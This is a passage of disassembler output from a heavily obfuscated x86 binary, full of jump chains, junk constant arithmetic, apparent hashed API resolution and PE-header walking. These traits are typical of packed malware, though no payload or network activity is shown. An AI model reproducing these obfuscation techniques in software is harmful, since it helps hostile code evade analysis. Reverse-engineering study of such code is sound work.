mov [ecx], eax pop ecx lea eax, sub_43BCA9 jmp loc_44456C ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; --------------------------------------------------------------------------- cmp edi, ebp jmp loc_440558 ; --------------------------------------------------------------------------- loc_44BD6B: ; DATA XREF: sub_43837F+121A4o mov eax, ds:dword_44697C+30h[eax*4] mov [ebp-8], eax ; START OF FUNCTION CHUNK FOR sub_43837F loc_44BD75: ; CODE XREF: sub_43837F+D1EEj ; sub_43837F+EF87j call sub_44CB3F ; END OF FUNCTION CHUNK FOR sub_43837F ; START OF FUNCTION CHUNK FOR sub_43CA1A loc_44BD7A: ; CODE XREF: sub_43CA1A+55EBj jmp loc_43F8A4 ; END OF FUNCTION CHUNK FOR sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_44BD7F: ; CODE XREF: sub_44633F:loc_449DE0j jge loc_43A657 cmp edi, 310E8BAFh jmp loc_43DB40 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- locret_44BD90: ; CODE XREF: y22d6.y.:0044805Cj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44BD91: ; CODE XREF: sub_448EB6:loc_442A67j ; y22d6.y.:loc_44E10Dj jmp loc_442470 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44BD96: ; CODE XREF: sub_44B17B-DBB1j jmp nullsub_192 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_44BD9B: ; CODE XREF: sub_4475B3:loc_4391C1j jl loc_44B414 loc_44BDA1: ; CODE XREF: y22d6.y.:00442883j jmp loc_4372C8 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- jns loc_445BAC add ecx, 5B3490E8h xchg edx, [edi] jmp loc_44B414 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44BDB9: ; CODE XREF: sub_448EB6-6F3Aj test eax, 4C8FB045h jmp loc_44707B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44BDC4: ; CODE XREF: y22d6.y.:0044D72Bj jl loc_4453ED xchg edi, edx adc esi, 0E5D7265Ah jmp loc_437661 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44BDD7: ; CODE XREF: sub_448EB6+9A3j and eax, 0BEDF88DFh xor eax, 0C338C65Bh push esi pushf push offset sub_437D47 jmp nullsub_359 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44BDF0: ; CODE XREF: y22d6.y.:0043EC4Cj jmp loc_4412A8 ; --------------------------------------------------------------------------- loc_44BDF5: ; DATA XREF: y22d6.y.:0043F85Fo call sub_43CA1A push ebx push 0A4F49F04h pop ebx xor ebx, 0F3068CE3h jnz loc_44965E loc_44BE0D: ; CODE XREF: y22d6.y.:00438B8Ej test ebx, esi jmp loc_4450F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44BE14: ; CODE XREF: sub_43C6D7-55E5j or esi, ebp cmp esi, edx jmp loc_440035 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444A91 loc_44BE1D: ; CODE XREF: sub_444A91+CCAj ; y22d6.y.:0044577Cj sub edi, 0B7046E4Fh and edi, 0CBBD2373h test edi, 400000h jmp loc_448DD9 ; END OF FUNCTION CHUNK FOR sub_444A91 ; --------------------------------------------------------------------------- pop large dword ptr fs:0 add esp, 4 push offset loc_44A1C1 jmp loc_44459D ; --------------------------------------------------------------------------- loc_44BE48: ; CODE XREF: y22d6.y.:0044C78Fj js loc_4459DD sbb esi, 169CEBCAh jnp loc_4390F1 pop esi jmp loc_439E94 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_44BE60: ; CODE XREF: sub_43BEF7+36B2j mov ds:dword_41E0B4, eax lea eax, nullsub_7 mov byte ptr [eax], 0C3h jmp loc_4489D0 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- loc_44BE74: ; CODE XREF: y22d6.y.:0044BB41j pop edx jmp loc_443159 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F8FE loc_44BE7A: ; CODE XREF: sub_43F8FE-7C6Fj mov [ebp-8], eax mov eax, [ebp+8] call loc_4433CF loc_44BE85: ; CODE XREF: y22d6.y.:00445D66j pop eax sub eax, 0B575C8B0h xor eax, 1B87269Fh or eax, 5AA98F8Fh xor eax, 8743432Ah add ebx, eax pop eax jmp loc_437593 ; END OF FUNCTION CHUNK FOR sub_43F8FE ; =============== S U B R O U T I N E ======================================= sub_44BEA6 proc near ; CODE XREF: sub_442FA7:loc_437AD6p ; y22d6.y.:0044B18Aj xchg ebx, [esp+0] pop ebx mov edx, eax loc_44BEAC: ; CODE XREF: sub_448422+6j push esi push offset loc_445FC7 jmp nullsub_319 sub_44BEA6 endp ; --------------------------------------------------------------------------- jge loc_4382A4 jmp loc_43A733 ; --------------------------------------------------------------------------- loc_44BEC2: ; DATA XREF: sub_43A041+A276o mov ecx, [ebx+edx-8] or ecx, ecx jz loc_44A936 call sub_4485B6 jnz loc_43CBBD mov ecx, [ebx+edx-4] or ecx, ecx jmp loc_440428 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_44BEE4: ; CODE XREF: sub_439A90+9j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_43BF27 jmp loc_43E134 ; END OF FUNCTION CHUNK FOR sub_439A90 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449F8E loc_44BEF8: ; CODE XREF: sub_449F8E:loc_44477Aj push edx push 9859F8E6h pop edx rol edx, 7 jmp loc_44C14E ; END OF FUNCTION CHUNK FOR sub_449F8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44BF07: ; CODE XREF: sub_44057E:loc_43B6CCj or eax, 6978FB22h rol eax, 1Fh or eax, 0BA602A1Fh add eax, 5CE3A83Ah jmp loc_448D31 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_44BF21: ; CODE XREF: y22d6.y.:loc_43EBC3j and edx, 0D251D19Ch jnz loc_441187 and edx, 44664DA7h rol esi, 0Eh jmp loc_441187 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AEDA loc_44BF3B: ; CODE XREF: sub_44AEDA:loc_439D12j ; sub_44AEDA+4D2j mov eax, [ebp-24h] push 15E780D9h pop ecx rol ecx, 1Fh jmp loc_439842 ; END OF FUNCTION CHUNK FOR sub_44AEDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_44BF4C: ; CODE XREF: sub_43C55B:loc_444CB9j ; y22d6.y.:0044BFA9j add eax, 4BCCFE97h add ecx, eax pop eax mov ecx, [ecx] call sub_437712 ; END OF FUNCTION CHUNK FOR sub_43C55B ; START OF FUNCTION CHUNK FOR sub_44313A loc_44BF5C: ; CODE XREF: sub_44313A+Ej jmp loc_4437A8 ; END OF FUNCTION CHUNK FOR sub_44313A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_125. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_44BF62: ; CODE XREF: sub_43A58D+11067j jmp loc_437D3D ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- loc_44BF67: ; CODE XREF: y22d6.y.:004383BBj jmp loc_43A4DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44997F loc_44BF6C: ; CODE XREF: sub_44997F:loc_44D1D1j call sub_443EA2 push offset sub_44808E jmp loc_43A647 ; END OF FUNCTION CHUNK FOR sub_44997F ; =============== S U B R O U T I N E ======================================= sub_44BF7B proc near ; CODE XREF: sub_43B201+5p ; y22d6.y.:0044E5E8j xchg esi, [esp+0] pop esi call sub_44C171 or eax, eax jnz loc_447238 jmp loc_4389DE sub_44BF7B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44BF91 proc near ; DATA XREF: sub_448EB6:loc_43D2F9o ; FUNCTION CHUNK AT 00437A93 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00438B93 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00439689 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D652 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F547 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00448559 SIZE 00000013 BYTES pop ebx rol eax, 17h xor eax, 39C2189Dh push esi jmp loc_43F547 sub_44BF91 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44BFA1: ; CODE XREF: y22d6.y.:loc_444CD3j jp loc_441878 cdq push esi jmp loc_44BF4C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_245. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_44BFAF: ; CODE XREF: sub_43704E+2973j jmp nullsub_203 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D7E0 loc_44BFB4: ; CODE XREF: sub_44D7E0-15F7Ej jmp loc_442B50 ; END OF FUNCTION CHUNK FOR sub_44D7E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B27F loc_44BFB9: ; CODE XREF: sub_44B27F-D0C2j pop ebx shr ebp, 14h loc_44BFBD: ; CODE XREF: sub_44E63C:loc_44716Fj mov eax, [esp+4+var_4] call sub_4396B2 loc_44BFC5: ; CODE XREF: sub_44E63C:loc_43F904j ; y22d6.y.:0044E67Dj call sub_44D19A loc_44BFCA: ; CODE XREF: y22d6.y.:004489E2j jmp nullsub_195 ; END OF FUNCTION CHUNK FOR sub_44B27F ; --------------------------------------------------------------------------- jge loc_43EE69 jmp sub_4441E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440626 loc_44BFDA: ; CODE XREF: sub_440626:loc_43AB95j xor eax, eax call sub_43C466 loc_44BFE1: ; CODE XREF: y22d6.y.:00441204j jmp loc_43EBE1 ; END OF FUNCTION CHUNK FOR sub_440626 ; --------------------------------------------------------------------------- xor eax, edi sub ecx, esi jmp sub_439ACA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C55B loc_44BFEF: ; CODE XREF: sub_43C55B:loc_4446B3j jz loc_44321F loc_44BFF5: ; CODE XREF: sub_43FEC6+75B0j jmp nullsub_197 ; END OF FUNCTION CHUNK FOR sub_43C55B ; --------------------------------------------------------------------------- loc_44BFFA: ; CODE XREF: y22d6.y.:loc_43F43Dj or ecx, edi cdq pop ecx test ebp, 5A16C6B5h jmp loc_443214 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_44C009: ; CODE XREF: sub_43E7BF:loc_445CE0j mov eax, 8CA83E2Ch call sub_43F7FF mov ds:off_41E038, eax lea eax, loc_447E4C jmp loc_444929 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447A01 loc_44C024: ; CODE XREF: sub_447A01-E540j xchg esi, [esp-4+arg_0] jmp sub_43BE66 ; END OF FUNCTION CHUNK FOR sub_447A01 ; =============== S U B R O U T I N E ======================================= sub_44C02C proc near ; DATA XREF: sub_442DB9:loc_44C5D1o ; FUNCTION CHUNK AT 0043C555 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043F6BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004443CE SIZE 0000000B BYTES mov [ebp-10h], eax cmp dword ptr [ebp-4], 0 jz loc_438C96 jmp loc_43F6BA sub_44C02C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44C03E: ; CODE XREF: sub_44BCC2+1156j call sub_44D460 loc_44C043: ; CODE XREF: sub_44CEAD+6j jmp loc_44507F ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- loc_44C048: ; CODE XREF: y22d6.y.:loc_438FB6j and edx, 587B318Ch sub edx, 86D2F2C4h add edx, 2EAEE32Ch mov edx, [edx] or edx, edx jnz loc_446F79 jmp loc_449603 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44364E loc_44C069: ; CODE XREF: sub_44364E-9048j jz loc_438681 loc_44C06F: ; CODE XREF: y22d6.y.:0044C9AEj jmp loc_4436F1 ; END OF FUNCTION CHUNK FOR sub_44364E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_44C074: ; CODE XREF: sub_4452EE+9j ; y22d6.y.:loc_449A70j jmp loc_4491C9 ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- ja loc_43F91B not ecx jmp loc_43867A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD3D loc_44C086: ; CODE XREF: sub_43AD3D:loc_4492B1j push 708A4709h pop edx sub edx, 0DFEC8F51h add edx, 7E6C509Eh jns loc_44168B loc_44C09E: ; CODE XREF: y22d6.y.:0043DB0Ej jmp nullsub_198 ; END OF FUNCTION CHUNK FOR sub_43AD3D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44C0A3: ; CODE XREF: sub_4432B8-17j jnp loc_44D541 jb loc_442F82 mov [esi], ecx loc_44C0B1: ; CODE XREF: sub_4432B8:loc_443497j push eax ; END OF FUNCTION CHUNK FOR sub_4432B8 ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44C0B2: ; CODE XREF: sub_4450FD:loc_43E23Cj jmp loc_440EC1 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- jnb loc_444179 popf jmp sub_442978 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44C0C3: ; CODE XREF: sub_4450FD+5ED2j jnp loc_44BB50 pop eax push ebp and ecx, 0D6674323h jmp loc_4397D9 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444871 loc_44C0D6: ; CODE XREF: sub_444871-8EE9j sub ebx, 0B27C8A4Bh add ebx, 7EA31B40h xchg ebx, [esp+0] jmp loc_44C527 ; END OF FUNCTION CHUNK FOR sub_444871 ; --------------------------------------------------------------------------- loc_44C0EA: ; CODE XREF: y22d6.y.:loc_440E43j sbb eax, ecx pushf jmp loc_44C7DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_44C0F2: ; CODE XREF: sub_4441D9+7304j js loc_44CBFE or ecx, 1179F478h jno loc_439785 loc_44C104: ; CODE XREF: sub_4441D9:loc_44813Dj add edx, 27CC381Bh or edx, 55F07179h add edx, 2A4769A3h jmp loc_4380B4 ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- mov eax, 3E69A3C2h call sub_43F7FF mov ds:off_41E010, eax lea eax, sub_446222 jmp loc_43D89B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_314. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44C138: ; CODE XREF: y22d6.y.:0043A16Fj shr esi, 16h loc_44C13B: ; CODE XREF: y22d6.y.:00448BE1j add ebx, 0EC1EE85Fh xchg ebx, [esp] jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_44C149: ; CODE XREF: sub_4385ED+4A00j call sub_43D20E loc_44C14E: ; CODE XREF: sub_449F8E+1F74j jmp loc_4442C1 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_44C153: ; CODE XREF: sub_43E81B+C8A7j adc edi, 0C2237B3Bh jmp loc_44E02F ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- loc_44C15E: ; DATA XREF: sub_43D20E:loc_44C416o mov [ebp-4], eax ; START OF FUNCTION CHUNK FOR sub_43D20E loc_44C161: ; CODE XREF: sub_43D20E+190Ej ; sub_43D20E+3DD7j ... mov eax, [ebp-1Ch] call sub_43AB31 mov [ebp-8], eax jmp loc_43B66E ; END OF FUNCTION CHUNK FOR sub_43D20E ; =============== S U B R O U T I N E ======================================= sub_44C171 proc near ; CODE XREF: sub_43C7C1-40B1p ; sub_445629-B3A0j ... jz sub_446145 jmp loc_43EEDB sub_44C171 endp ; --------------------------------------------------------------------------- loc_44C17C: ; CODE XREF: y22d6.y.:0044E3C0j cmp ecx, 943CEC57h jmp loc_43D7A5 ; --------------------------------------------------------------------------- jl loc_43A53B xchg ebx, edi jmp sub_4476DE ; =============== S U B R O U T I N E ======================================= sub_44C194 proc near ; CODE XREF: y22d6.y.:0043AA15p ; sub_44BCC2:loc_43B851j ; FUNCTION CHUNK AT 00449360 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D4E2 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 95191457h pop eax rol eax, 0Fh xor eax, 9FEF36E8h and eax, 95D0733Fh add eax, 369CC971h jmp loc_449360 sub_44C194 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44C1B8: ; DATA XREF: sub_44563C:loc_43856Do mov cl, [ebp-0Bh] ; START OF FUNCTION CHUNK FOR sub_43A041 loc_44C1BB: ; CODE XREF: sub_43A041:loc_44A93Bj xor edx, edx mov dl, [ebp-9] call sub_437680 ; END OF FUNCTION CHUNK FOR sub_43A041 ; START OF FUNCTION CHUNK FOR sub_43B035 loc_44C1C5: ; CODE XREF: sub_43B035+4B09j jmp loc_448E78 ; END OF FUNCTION CHUNK FOR sub_43B035 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_44C1CA: ; CODE XREF: sub_44633F-18F7j inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_439D2D jmp loc_43D5E5 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4395B1 loc_44C1DB: ; CODE XREF: sub_4395B1+7D1Cj pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4395B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CCB6 loc_44C1DD: ; CODE XREF: sub_43CCB6+Fj jmp sub_44C59C ; END OF FUNCTION CHUNK FOR sub_43CCB6 ; =============== S U B R O U T I N E ======================================= sub_44C1E2 proc near ; CODE XREF: sub_44D088+3j ; FUNCTION CHUNK AT 00439C6D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A868 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00441D8E SIZE 00000019 BYTES add esp, 0FFFFFFF8h mov [ebp-8], edx jmp loc_439C6D sub_44C1E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44C1ED: ; CODE XREF: y22d6.y.:loc_448BF7j add ebx, 8F18388Fh test ebx, 4000000h jmp loc_43F75F ; --------------------------------------------------------------------------- loc_44C1FE: ; CODE XREF: y22d6.y.:0043E520j push dword ptr [ebp+0Ch] push eax push 53E528E8h pop eax rol eax, 2 xor eax, 1B7AE888h sub eax, 52624C5Dh jns loc_43DD94 loc_44C21D: ; CODE XREF: y22d6.y.:0044448Ej ; y22d6.y.:00445BF5j jmp sub_4480DE ; =============== S U B R O U T I N E ======================================= sub_44C222 proc near ; DATA XREF: y22d6.y.:00441EFCo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043C349 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043E237 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004437FA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447067 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044C420 SIZE 0000000F BYTES push ebp mov ebp, ecx xchg ebp, [esp+4+var_4] push 39F66CABh pop ecx jmp loc_43E237 sub_44C222 endp ; --------------------------------------------------------------------------- loc_44C233: ; CODE XREF: y22d6.y.:loc_438EDAj add ebx, 0DD73F0DAh cmp ebx, 0D7905FEAh jmp loc_4447D8 ; --------------------------------------------------------------------------- jmp ds:dword_41E0C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_44C24A: ; CODE XREF: sub_43FFE2+92E7j jmp loc_43F55E ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44C24F: ; CODE XREF: sub_448EB6+CFj jmp nullsub_200 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438B66 loc_44C254: ; CODE XREF: sub_438B66:loc_442240j jmp loc_447794 ; END OF FUNCTION CHUNK FOR sub_438B66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C22F loc_44C259: ; CODE XREF: sub_43C22F+Ej jmp loc_441F64 ; END OF FUNCTION CHUNK FOR sub_43C22F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_17. PRESS KEYPAD "+" TO EXPAND] db 88h dd 0FE2h, 8B240487h, 7BE958D0h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4491D8 loc_44C26F: ; CODE XREF: sub_4491D8+13j xor eax, 0F160C50Bh add eax, 53FC71A3h or eax, ds:4000E7h xor eax, 3AAB2834h jmp loc_4393DB ; END OF FUNCTION CHUNK FOR sub_4491D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446236 loc_44C28C: ; CODE XREF: sub_446236-D819j mov ecx, [ebx+ecx+78h] or ecx, ecx jz loc_441DD7 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_441DD7 mov edx, [ebx+ecx] loc_44C2A7: ; CODE XREF: sub_446236-D824j xor edx, [ebx+ecx+4] jmp loc_441A8F ; END OF FUNCTION CHUNK FOR sub_446236 ; =============== S U B R O U T I N E ======================================= sub_44C2B0 proc near ; CODE XREF: sub_40300B+3Cp ; sub_40300B+43p ... ; FUNCTION CHUNK AT 0043AF02 SIZE 0000001A BYTES call sub_43872E loc_44C2B5: ; CODE XREF: sub_4383E0+F372j jmp loc_43AF02 sub_44C2B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4424AC loc_44C2BA: ; CODE XREF: sub_4424AC+9j jmp loc_43846F ; END OF FUNCTION CHUNK FOR sub_4424AC ; --------------------------------------------------------------------------- loc_44C2BF: ; CODE XREF: y22d6.y.:00444774j sbb eax, 0E3D80CADh and edx, 2128494Eh pushf jmp loc_43A575 ; --------------------------------------------------------------------------- popf or ecx, ebx jmp sub_440D6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43704E loc_44C2D9: ; CODE XREF: sub_43704E+18j and eax, 0E8E565ECh jnz loc_4399B9 loc_44C2E5: ; CODE XREF: sub_43FC5D+Aj jmp loc_443A14 ; END OF FUNCTION CHUNK FOR sub_43704E ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFF99F7h, 496DE281h, 0EAC1016Bh, 0E9D53318h, 0FFFED6B3h dd 16E90889h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_44C307: ; CODE XREF: y22d6.y.:0043A2CDj adc edi, 94303E56h ; START OF FUNCTION CHUNK FOR sub_440330 loc_44C30D: ; CODE XREF: sub_440330:loc_43A2BBj add edx, 84962160h add edx, ebp add edx, 0DF1A2C1h mov edx, [edx] jmp loc_44914B ; END OF FUNCTION CHUNK FOR sub_440330 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C322 proc near ; CODE XREF: sub_448EB6:loc_43EEDBj ; FUNCTION CHUNK AT 004413E0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004436CB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00446136 SIZE 0000000F BYTES push ebp mov ebp, esp push ecx cmp ds:dword_441974, 0 jnz loc_43B02B call nullsub_4 call sub_43760A jmp loc_4436CB sub_44C322 endp ; --------------------------------------------------------------------------- loc_44C342: ; CODE XREF: y22d6.y.:0043EC86j not edi mov esi, ecx adc ebp, 0E9E62D0Bh loc_44C34C: ; CODE XREF: y22d6.y.:loc_43EC76j xor eax, 0D2275586h call sub_43CA1A mov ds:dword_41E08C, eax lea eax, nullsub_322 jmp loc_442292 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440280 loc_44C368: ; CODE XREF: sub_440280:loc_43FFB6j add ebp, 0FE67613h jmp loc_438E57 ; END OF FUNCTION CHUNK FOR sub_440280 ; --------------------------------------------------------------------------- locret_44C373: ; CODE XREF: y22d6.y.:0043BD6Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C7C1 loc_44C374: ; CODE XREF: sub_43C7C1:loc_449B9Bj push 97105155h pop ecx and ecx, ds:4000E2h jnz loc_44BD42 push 4490FB91h cmp ecx, ebx jmp loc_44BD3C ; END OF FUNCTION CHUNK FOR sub_43C7C1 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_44C392 proc near ; CODE XREF: sub_43CA62:loc_441F82j retn sub_44C392 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4384B4 loc_44C393: ; CODE XREF: sub_4384B4+11C50j jmp sub_4384B4 ; END OF FUNCTION CHUNK FOR sub_4384B4 ; --------------------------------------------------------------------------- loc_44C398: ; CODE XREF: y22d6.y.:0044A546j push eax call sub_448E18 jmp loc_439F70 ; --------------------------------------------------------------------------- xchg edi, [esp] mov ecx, edi jmp loc_445E96 ; --------------------------------------------------------------------------- loc_44C3AD: ; DATA XREF: sub_43D20E:loc_43B503o mov eax, [ebp-1Ch] mov al, [eax] mov edx, [ebp-20h] mov [edx], al push 43DBEEh jmp locret_43B0B5 ; --------------------------------------------------------------------------- loc_44C3C1: ; CODE XREF: y22d6.y.:0044C6F8j adc ebp, 0E81508D8h loc_44C3C7: ; CODE XREF: y22d6.y.:loc_43BABBj push offset loc_43DCC5 jmp loc_44E325 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_276. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB23 loc_44C3D2: ; CODE XREF: sub_43DB23+3j mov edx, edi pop edi js loc_44E0A3 push offset sub_44DB71 jmp loc_438FF1 ; END OF FUNCTION CHUNK FOR sub_43DB23 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_44C3E5 proc near ; CODE XREF: sub_43E0A9:loc_439356j retn sub_44C3E5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44C3E6: ; CODE XREF: sub_44BCC2-E8FEj jmp nullsub_206 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445A15 loc_44C3EB: ; CODE XREF: sub_445A15-9E4Aj jmp sub_44643B ; END OF FUNCTION CHUNK FOR sub_445A15 ; --------------------------------------------------------------------------- loc_44C3F0: ; DATA XREF: sub_439175+24D1o mov ebx, [ebx] add eax, ebx pop ebx push ebx push 7B23027Ch xchg eax, [esp] mov ebx, eax pop eax jmp loc_447036 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_44C406: ; CODE XREF: sub_441F08-4D56j jge loc_4478B4 mov ebx, 0A9A5094Bh jmp loc_445C36 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_44C416: ; CODE XREF: sub_43D20E:loc_43F29Ej push offset loc_44C15E jmp loc_444DE2 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C222 loc_44C420: ; CODE XREF: sub_44C222-FEC1j add eax, 62695FB4h adc ebp, edi cmp ecx, edi jmp loc_447067 ; END OF FUNCTION CHUNK FOR sub_44C222 ; --------------------------------------------------------------------------- loc_44C42F: ; DATA XREF: sub_4480DE+48D9o mov eax, [eax] ; START OF FUNCTION CHUNK FOR sub_4496A3 loc_44C431: ; CODE XREF: sub_4496A3:loc_44D3E5j add eax, [ebp-4] add eax, 5 cmp eax, ds:dword_44659C jz loc_445FB4 ; END OF FUNCTION CHUNK FOR sub_4496A3 ; START OF FUNCTION CHUNK FOR sub_4480DE loc_44C443: ; CODE XREF: sub_4480DE-CB20j ; sub_4480DE:loc_4402B4j jnz loc_44CA83 jmp loc_449525 ; END OF FUNCTION CHUNK FOR sub_4480DE ; --------------------------------------------------------------------------- loc_44C44E: ; CODE XREF: y22d6.y.:00437E44j xchg ecx, [esp] mov ebx, ecx pop ecx xor ebx, 45AA2846h rol ebx, 8 